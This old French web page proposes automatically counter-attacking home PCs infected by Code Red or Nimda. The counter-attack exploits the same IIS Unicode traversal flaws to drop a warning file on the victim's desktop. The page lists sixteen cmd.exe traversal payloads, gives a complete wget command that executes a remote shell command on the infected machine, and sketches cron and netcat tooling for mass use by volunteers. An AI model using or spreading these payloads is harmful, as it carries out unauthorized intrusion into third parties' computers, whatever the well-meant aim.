Code Red
Quite old page, sorry folks, only in french
En finir avec Code Red et consorts
Cette page a été créée le 26 mars 2002 pour exposer une solution possible aux envahissants Code Red, Nimda et autres vers qui utilisent les failles UNICODE des serveurs IIS. Le but est de mettre sur pied une solution "standard" clé en main mais il reste encore qqs points à définir.
L'historique
Depuis que la faille dite UNICODE est connue (1999), de petits malins se sont servis de cette faille pour jouer aux script-kiddies mais également pour accroître l'efficacité de nouveaux vers: ceux de la famille Code Red.
Quelques liens:
- Une description de la faille unicode existe sur le site du CERT.
- Cette faille peut être résolue grâce à un patch disponible sur le site de Microsoft.
- Une description de Nimda parmi tant d'autres...
Las de voir mes logs enlisés par des attaques toujours plus nombreuses de la part de machines de particuliers, je me suis demandé s'il n'y avait pas un moyen automatique d'enrayer l'expansion de ces vers qui jouent notamment avec la faille unicode des serveurs IIS.
Car la solution (patcher son serveur IIS) est connue depuis longtemps mais les vers continuent leur petit bonhomme de chemin.
Pourquoi? Parce que auparavant seuls quelques personnes étaient habilitées à mettre en oeuvre un serveur web: des administrateurs systèmes. Ces derniers, bien que n'étant pas toujours des exemples modèles, se tiennent au courant plus ou moins des alertes aux vulnérabilités.
Mais maintenant tout le monde peut avoir son petit serveur web chez soi et pire, peut en avoir un qui tourne par défaut sans même le savoir! Merci Microsoft, merci Windows2000!
Pour s'en convaincre, prenez l'IP d'une machine infectée qui vous attaque et surfez dessus -> page d'accueil "Under Construction" par défaut.
Donc il faudrait que Monsieur Tout-le-monde, néophyte (sinon il n'aurait pas de serveur web qui tourne à vide), soit au courant que les vers ça existe, qu'il a un serveur web qui tourne sur sa machine et qu'il ferait bien de vérifier qu'il n'est pas lui-même infecté alors qu'il ne constate peut-être pas de comportement anormal au niveau de son interface utilisateur. Bonne chance...
L'idée
L'idée est d'avertir automatiquement les utilisateurs dont la machine vous attaque.
Comment? En utilisant les mêmes failles que les vers pour déposer un fichier explicatif sur le bureau de ces personnes.
Le message sera nettement plus percutant qu'une Xième alerte sur un site spécialisé que Monsieur Tout-le-monde n'ira jamais lire.
Le processus
La détection
Une attaque est identifiable via vos logs, elle sera de la forme:
GET /scripts/root.exe?/c+dir GET /MSADC/root.exe?/c+dir GET /c/winnt/system32/cmd.exe?/c+dir GET /d/winnt/system32/cmd.exe?/c+dir GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir
Vous voilà avec l'IP d'une machine infectée.
La "riposte"
La riposte doit être indépendante de la version de Windows/IIS donc:
D'une part elle doit essayer les 16 failles différentes employée par les vers:
IP/scripts/root.exe?/c+... IP/MSADC/root.exe?/c+... IP/c/winnt/system32/cmd.exe?/c+... IP/d/winnt/system32/cmd.exe?/c+... IP/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+... IP/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+... IP/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+... IP/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+... IP/scripts/..%255c../winnt/system32/cmd.exe?/c+... IP/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+... IP/scripts/..%c0%af../winnt/system32/cmd.exe?/c+... IP/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+... IP/scripts/..%%35%63../winnt/system32/cmd.exe?/c+... IP/scripts/..%%35c../winnt/system32/cmd.exe?/c+... IP/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+... IP/scripts/..%252f../winnt/system32/cmd.exe?/c+...
D'autre part elle doit essayer les différents répertoires abritant le bureau selon les versions, par exemple pour Windows2000 UK: %22c:%5cDocuments%20and%20Settings%5cAll%20Users%5cDesktop%22 ("c:\Documents and Settings\All Users\Desktop")
Un texte et un nom de fichier doivent être choisis uniformément.
Voici une tentative:
VirusAlert.txt
Votre systeme a une faille de securite et a ete infecte par un virus type Code Red, un ver plus exactement. Cette meme faille a ete utilisee pour deposer ce fichier dans votre ordinateur afin de vous alerter. Pour un complement d information veuillez vous rendre au plus vite sur http://PAGE-A-DEFINIR. Your system has a security vulnerability and was infected by a virus like Code Red, a worm more precisely. This same vulnerability was used to drop this file in your computer to alert you. For more information, please visit as soon as possible this page: http://PAGE-A-DEFINIR.
Et une fois encodé:
Votre%20systeme%20a%20une%20faille%20de%20securite%20et %20a%20ete%20infecte%20par%20un%20virus%20type%20Code%2 0Red,%20un%20ver%20plus%20exactement.%20Cette%20meme%20 faille%20a%20ete%20utilisee%20pour%20deposer%20ce%20fic hier%20dans%20votre%20ordinateur%20afin%20de%20vous%20a lerter.%20Pour%20un%20complement%20d%20information%20ve uillez%20vous%20rendre%20au%20plus%20vite%20sur%20http: //PAGE-A-DEFINIR.%20Your%20system%20has%20a%20security% 20vulnerability%20and%20was%20infected%20by%20a%20virus %20like%20Code%20Red,%20a%20worm%20more%20precisely.%20 This%20same%20vulnerability%20was%20used%20to%20drop%20 this%20file%20in%20your%20computer%20to%20alert%20you.% 20For%20more%20information,%20please%20visit%20as%20soo n%20as%20possible%20this%20page:%20http://PAGE-A-DEFINI R.
La commande à exécuter sur la machine distante sera la suivante (à tester)
echo "texte" >bureau\fichier echo+%22texte%22+%3e+%22bureau%5cVirusAlert.txt%22
Un exemple complet pourrait être:
wget -O - http://IP-DE-L-ATTAQUANT//_vti_bin/..%255c.. /..%255c../..%255c../winnt/system32/cmd.exe?/c+echo+%22 Votre%20systeme%20a%20une%20faille%20de%20securite%20et %20a%20ete%20infecte%20par%20un%20virus%20type%20Code%2 0Red,%20un%20ver%20plus%20exactement.%20Cette%20meme%20 faille%20a%20ete%20utilisee%20pour%20deposer%20ce%20fic hier%20dans%20votre%20ordinateur%20afin%20de%20vous%20a lerter.%20Pour%20un%20complement%20d%20information%20ve uillez%20vous%20rendre%20au%20plus%20vite%20sur%20http: //PAGE-A-DEFINIR.%20Your%20system%20has%20a%20security% 20vulnerability%20and%20was%20infected%20by%20a%20virus %20like%20Code%20Red,%20a%20worm%20more%20precisely.%20 This%20same%20vulnerability%20was%20used%20to%20drop%20 this%20file%20in%20your%20computer%20to%20alert%20you.% 20For%20more%20information,%20please%20visit%20as%20soo n%20as%20possible%20this%20page:%20http://PAGE-A-DEFINI R.%22+%3e+%22c:%5cDocuments%20and%20Settings%5cAll%20Us ers%5cDesktop%5cVirusAlert.txt%22
En plus de la riposte proprement dite, il faudrait:
Maintenir un log clair.
Vérifier la présence du fichier par une seconde commande du type "type fichier.txt"
L'automatisation
Plusieurs méthodes possibles:
- Sous Linux: un script lancé à intervalles réguliers via cron (il faut que l'IP soit toujours valable lors de la riposte!) analyse les logs de votre serveur web et riposte le plus simplement du monde avec wget ou htget.
- Sous Linux et/ou Windows: Même si vous n'avez pas de serveur web, on peut imaginer un soft qui écoute sur le port 80 et qui ne serve qu'à ça: détecter les attaques, y répondre et consigner tout dans des logs. Avis aux amateurs ;-)
Ainsi n'importe qui pourrait se transformer en "script-kiddie" pour la bonne cause. Mais il faut veiller à ce que tout le monde envoie le même fichier texte avec le même nom aux PC infectés sinon les gens vont se retrouver avec 10 fichiers différents sur leur bureau!!
La TODO list
la liste des points qu'il reste à faire:
- trouver un volontaire qui répond aux critères suivants: Windows2000 avec IIS non patché.
- tester la commande écrite en Unicode pour déposer un fichier.
- tester la commande écrite en Unicode pour lire le fichier déposé .
- définir un texte d'alerte clair et concis (attention, il doit tenir en une commande "echo" et être traduit en Unicode).
- définir une page web d'accueil pour les "victimes" pour les informer clairement et simplement.
- définir la liste des différents répertoires possibles du Bureau Windows.
- écrire différents outils qui mettront en oeuvre le système:
- scripts bash basés sur les logs d'Apache pour tourner depuis cron
- un serveur élémentaire écoutant sur le port 80 (basé sur netcat par exemple) pour les machines dépourvues de serveur web.
- idem sous Windows
- ...?
Les outils
Le logiciel Zunicoz, disponible sur le site de Zataz Magazine, permet de tester les failles UNICODE en direct.